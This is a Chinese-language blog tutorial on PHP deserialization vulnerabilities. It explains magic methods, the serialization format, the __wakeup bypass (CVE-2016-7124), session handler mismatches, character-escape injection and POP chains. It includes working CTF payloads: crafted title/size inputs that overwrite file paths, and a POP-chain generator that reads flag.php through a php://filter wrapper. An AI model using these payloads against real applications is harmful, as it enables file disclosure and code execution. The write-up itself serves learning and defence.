PHP-反序列化

Posted by BY Diego on April 23, 2020

一、 PHP序列化 与 反序列化

① 序列化

序列化函数:serialize()

按照手册上来说就是产生一个可存储的值,也就是字符串 ,所有php里面的值都可以使用函数serialize()来返回一个包含字节流的字符串来表示。 对于对象来说,序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。 J1WiIe.png

② 反序列化

反序列化函数:unserialize()

函数能够重新把字符串变回php原来的值。说白了就是把serialize之后的值重新变回去。

J15Rcd.png

二、PHP 中的魔术方法

① 什么是魔术方法

在说反序列化漏洞前,当然要先了解一下php中的魔术方法。 先看一下手册的说法,在类中以__(两个下划线) 开头的已定义的方法叫做魔术方法。 说白了就是php类中,已经定义好的方法,类似于c++的构造、析构函数,用来实现特定功能的。 J1Iw8g.png

② 常见的魔术方法

__construct()  具有构造函数的类会在每次创建新对象时先调用此方法 (构造函数)
__destruct() 会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行。(析构函数)
__call() 在对象中调用一个不可访问方法时,__call() 会被调用
__callStatic() 在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
__get() 读取不可访问属性的值时,__get() 会被调用。
__set() 在给不可访问属性赋值时,__set() 会被调用。
__isset() 当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset() 当对不可访问属性调用 unset() 时,__unset() 会被调用。
__sleep() 当对象被serialize() 函数处理前,调用
__wakeup() 当类被unserialize()时调用 __wakeup 方法,预先准备对象需要的资源。
__toString() 该方法用于一个类被当成字符串时应怎样回应
__invoke()  当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
__set_state()
__clone() 当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值
__debugInfo()  此方法由var_dump()调用

③ 魔术方法用法

__construct() 与 __destruct()

<?php
class Test
{
    function __construct()
    {
        echo "__construct\n";
    }
    function __destruct()
    {
        echo "__destruct\n";
    }
}
$a = new Test;
?>

结果

__construct
__destruct

__get() 与 __set() 与 __call()

<?php
class Test
{
    private $hidden  = "";
    function __get($name)
    {
        echo "$name : __get\n";
    }
    function __set($name,$value)
    {
        echo "$name : $value ,__set\n";
    }
    function __call($name,$arguments)
    {
        echo "$name : $arguments ,__call\n";
    }
}
$a = new Test;
$a->test1; //__get
$a->test2 = "test3"; //__set

$a->hidden; // get
$a->hidden = "test3";// set

$a->test4("test5");//__call
?>

结果

test1 : __get
test2 : test3 ,__set
hidden : __get
hidden : test3 ,__set
test4 : Array ,__call

__sleep() 与 __wakeup()

<?php
class Test
{
    public $name = "123";
    function __sleep()
    {
        echo "__sleep\n";
        return array($this->name);
    }
    function __wakeup()
    {
        echo "__wakeup\n";
    }
}
$a = new Test();
$a = serialize($a);
unserialize($a);
?>

结果 (这里值得注意一下 __sleep返回值为array类型)

__sleep
__wakeup

__toString() 与 __invoke()

<?php
class Test
{
    function __toString()
    {
        echo "__toString\n";
        return "__toString\n";
    }
    function __invoke($name)
    {
        echo "$name : __invoke\n";
    }
}
$a = new Test;
echo $a;
$a("test1");
?>

结果 (这里值得注意一下 __sleep返回值为array类型)

__toString
__toString
test1 : __invoke

三、序列化格式

把php基本类型都序列化一遍

<?php
class Test
{
   public $name = "test";
}
echo serialize(9999)."\n";
echo serialize(99.99)."\n";
echo serialize("abc")."\n";
echo serialize(true)."\n";
echo serialize(NULL)."\n";
echo serialize(["abc",123,99.99])."\n";
echo serialize(new Test)."\n";
?>

结果

i:9999;
d:99.99;
s:3:"abc";
b:1;
N;
a:3:{i:0;s:3:"abc";i:1;i:123;i:2;d:99.99;}
O:4:"Test":1:{s:4:"name";s:4:"test";}

格式对应如下

类型 格式  
String s:size:value;  
Double d:value  
Integer i:value;  
Boolean b:value;(保存1或0)  
Null N;  
Array a:size:{key definition;value definition (repeated per element)}
Object O:strlen(object name):object name:object size {s:strlen(property name):property name:property definition;(repeated per property)}

这里唯一复杂的类型就是 object和array 因为他们可以包含其他类型

这里具体说一下类的序列化

O:4:"Test":1:{s:4:"name";s:4:"test";}
  • O表示是object,
  • 4为类名长度为四,
  • 后面跟着类名用双引号包裹,
  • 后面再跟着类含有的属性个数,这里是一个所以为1,
  • 后面是属性的具体内容用{}包裹,里面以每两个;为一组,前一个为变量名称,后一个为对应的值

还有一点值得注意,当类的属性成员为protectedprivatepublic 是不同的

如下

<?php
class Test
{
   private $key = "aaa";
   protected $test = "bbb";
   public $name = "ccc";
}
echo serialize(new Test);
?>

结果

O:4:"Test":3:{s:9:"<0x00>Test<0x00>key";s:3:"aaa";s:7:"<0x00>*<0x00>test";s:3:"bbb";s:4:"name";s:3:"ccc";}

这里的<0x00>代表ascii为0的字符(不可见),url编码输出一下(仅编码<0x00>)

O:4:"Test":3:{s:9:"%00Test%00key";s:3:"aaa";s:7:"%00*%00test";s:3:"bbb";s:4:"name";s:3:"ccc";}

public :直接原变量名 private :在原变量名前加 <0x00>类名<0x00> 原变量名 相应的前面长度加大 protected :在原变量名前加 <0x00>*<0x00> 原变量名 相应的前面长度加3

四、反序列化漏洞

① __wakeup 函数绕过(CVE-2016-7124)

漏洞影响版本: PHP5 < 5.6.25 PHP7 < 7.0.10

漏洞产生原因: 如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行

<?php
class Test
{
	public $page ;
	function __construct()
	{
		$this->page = "test.php";
	}
	function __wakeup()
	{
		$this->page = "index.php";
	}
	function __destruct()
	{
		var_dump($this->page);
	}
}

var_dump(unserialize('O:4:"Test":1:{s:4:"page";s:8:"test.php";}'));
?>

结果如下 J8KBgx.png

当被改为

O:4:"Test":1:{s:4:"page";s:8:"test.php";}
=>
O:4:"Test":2:{s:4:"page";s:8:"test.php";}

虽然返回值为false 但是在类的内部程序会正常执行 J8KUUJ.png

② Session 反序列化

PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化。

session 处理配置

  • session.save_path 设置session的存储路径
  • session.save_handler 设定用户自定义存储函数
  • session.auto_start 指定会话模块是否在请求开始时启动一个会话
  • session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php 除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同

常见的三种session处理引擎

  • php_binary 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值 J8leHO.png
  • php 键名+竖线+经过serialize()函数反序列处理的值 J8lZDK.png
  • php_serialize serialize()函数反序列处理数组方式 J8lnED.png

三种处理器的存储格式差异,就会造成在session序列化和反序列化处理器设置不当时的安全隐患。

当某一个页面如下

<?php
    ini_set('session.serialize_handler','php_serialize');
    session_start();
    if ($_GET) {
    	$_SESSION[$_GET["name"]] = $_GET["value"];
    }
    var_dump($_SESSION);
?>

而其它页面没有设置 ini_set(‘session.serialize_handler’,’php_serialize’); 一般网站默认处理器为php,就会存在隐患,

test.php
<?php
session_start();
var_dump($_SESSION);
?>

JGMZct.png JGMV1I.png session 文件 JGM1hj.png

③ 反序列化逃逸

这里就直接上一个例子(这里是减少,扩增也是类似的道理) 漏洞成因是开发者设计不当造成 源码

highlight_file(__file__);

$file = array('title'=> "", 'path'=>"./", 'name' => "info.png", 'size'=>"");

function filter($img){
    return preg_replace("/flag|php|fl1g/i",'',$img);
}

$file["title"] = $_GET["title"];
$file["size"] = $_GET["size"];

$ser = filter(serialize($file));
$file1 = unserialize($ser);

echo file_get_contents($file1["path"].$file1["name"]);

 // flag in  /ffff111aaagg

从题目看到 $file 一共有四个属性 分别为title、path、name、size。 且为数组结构的

提示flag在 /ffff111aaagg中,且 存在file_get_contents函数 ,思路很明显就是通过输入改变序列化结果,让$file1[“path”]= /,$file1[“name”] = ffff111aaagg

而问题就在于可控制的参数为$file[“title”] 、$file[“size”],感觉与 $file1[“path”]、$file1[“name”]没什么关系,当然题目一般不会给多余的东西,题目还有一个filter函数,用来过滤一些字符的,该题就是用这个函数来实现的。

先序列化数组,再反序列化一下 lz4Q6x.png

a:4:{s:5:”title”;s:3:”123”;s:4:”path”;s:2:”./”;s:4:”name”;s:8:”info.png”;s:4:”size”;s:3:”456”;}

如果当我们的输入中有 **flag php fl1g**字符时,会被替换为空,我们此时再试一下会出现什么情况

lz5uVS.png

输入的flag被替换为空,且反序列化失败,失败的原因就是这个题解的关键

在序列化中(正常序列化),拿其中的黄色部分举例子如下 lzoV78.png

失败的原因 如图: lzTqZ6.png

由上图可以看出 出现过滤的情况那么就会吞噬掉正常序列,及反序列化逃逸, 可以参考文章:https://xz.aliyun.com/t/6718

通过上面可以发现只要我们构造的得当,便可以覆盖掉path和name部分。

先通过修改正常的序列化来举个例子

原序列(正常)
a:4:{s:5:"title";s:3:"123";s:4:"path";s:2:"./";s:4:"name";s:8:"info.png";s:4:"size";s:3:"456";}

改动后(把最开始的a:4改成a:3(代表的成员个数),将title后面的 s:3改成s:23)
a:3:{s:5:"title";s:23:"123";s:4:"path";s:2:"./";s:4:"name";s:8:"info.png";s:4:"size";s:3:"456";}

lzqGY8.png

成功把path覆盖掉,同理可以同时覆盖掉name(前提是把最开始的a:4改成a:2),如下 lzqgl4.png

在题目中我们只需要将title内容用flag、php、fl1g 来拼凑上面的23位、46位即可(前提是把最开始的a:4改成a:3或2 因为成员个数发生改变)如下

lzOOot.png

可以正常序列化,既然覆盖掉了name和path 那么就要在构造出来,并且保持成员数为4 ,因为 a:4是不变的 通过观察可发现我们能够控制的参数为开头和结尾,我们如果把中间部分覆盖掉,那么我们就可以通过后面再重新构造出来。

还有一点就是,在一个正常的序列后面添加东西是不影响正常反序列化的,会被直接无视掉 lzjYEn.png

要想通过size来重构任意变量的话那么就需要覆盖到s:4:”size”;s:n:(具体再体会)

最终构造如下

$file["title"] = "flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";
$file["size"] = ';s:4:"path";s:1:"/";s:4:"name";s:12:"ffff111aaagg";s:4:"size";s:3:"123";};';

lzjX28.png

最终得flag lzvCan.png

④ POP链构造

通俗来说就是反序列化利用链,为什么是个链呢,因为它涉及多个类,最终连成一个利用链。一般出现在大的框架里,最经典的还是thinkphp序列化漏洞。

贴一个简单的小例子

<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

先贴个payload,自己懒得再做了-。-,具体不细说了

<?php
class Modifier {
    protected  $var = "php://filter/convert.base64-encode/resource=flag.php";
}

class Show{
    public $source;
    public $str;
    public function __construct($file){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return "www.gem-love.com";
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = new Modifier();
    }
}
$o = new Show('aaa');
$o->str= new Test();
$a = new Show($o);
echo urlencode(serialize($a));
?>

⑥ Phar 反序列化

这里不具体展开,以后另写文章总结

⑦序列化的几个小特点

这里只序列化两个属性,另外属性在反序列化的时候会自动加上

<?php
class test
{
	public $name = "Diego";
	public $age = 99;
	private $sercet = "你永远不知道的秘密";
}
var_dump(unserialize('O:4:"test":2:{s:4:"name";s:5:"Diego";s:3:"age";i:99;}'));
?>

JwQyOe.png

序列化的时候会添加额外的属性。不存在的属性被添加

<?php
class test
{
	public $name = "Diego";
	public $age = 99;
	private $sercet = "你永远不知道的秘密";
}
$a = unserialize(urldecode('O:4:"test":1:{s:4:"test";s:8:"test!!!!";}'));
var_dump($a);
var_dump($a->test);
?>

JwlCm4.png

五、参考链接

PHP: 魔术方法 - Manual

php反序列化漏洞绕过魔术方法 __wakeup

PHP反序列化由浅入深

详解PHP反序列化中的字符逃逸